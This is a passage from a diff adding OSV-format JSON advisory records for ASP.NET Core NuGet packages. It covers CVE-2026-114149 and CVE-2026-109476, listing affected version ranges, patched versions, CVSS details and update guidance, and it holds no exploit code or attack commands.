11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.WebUtilities","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.WebUtilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.5.23302.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.WebUtilities","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.WebUtilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.WebUtilities","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.WebUtilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.WebUtilities","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.WebUtilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-x33c-w48q-qrgc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114149"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/511"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/e2fdf87f23ce5747bce1ac9a8c34905b17799a68"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/eea3265c048c88f9c064fc1ff2b3be9570b6f8cc"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70473"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.23"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114149"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:06:32Z","nvd_published_at":"2026-11-10T19:19:08Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-xhj5-c3g8-pfj8.json b/data/NuGet/GHSA-xhj5-c3g8-pfj8.json
new file mode 100644
index 0000000000..bdc80afaae
--- /dev/null
+++ b/data/NuGet/GHSA-xhj5-c3g8-pfj8.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-xhj5-c3g8-pfj8","published":"2026-11-10T23:02:40Z","modified":"2026-11-10T23:15:18.038965958Z","aliases":["CVE-2026-109476"],"summary":"Microsoft Security Advisory CVE-2026-109476 - ASP.NET Core Information Disclosure Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nA crafted `X-Forwarded-Prefix` can inject cookie path delimiters unless PathBase-derived cookie paths percent-encode semicolons.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/508\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Medium\n- **Score:** 6.1 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N/E:U/RL:O/RC:C`\n- **Weakness:** CWE-116\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-rc.1.23421.29, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-109476](https://www.cve.org/CVERecord?id=CVE-2026-109476)\n\n### Acknowledgements\n\n- Raffaello Tamagnini\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xhj5-c3g8-pfj8/GHSA-xhj5-c3g8-pfj8.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.1.23421.29"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 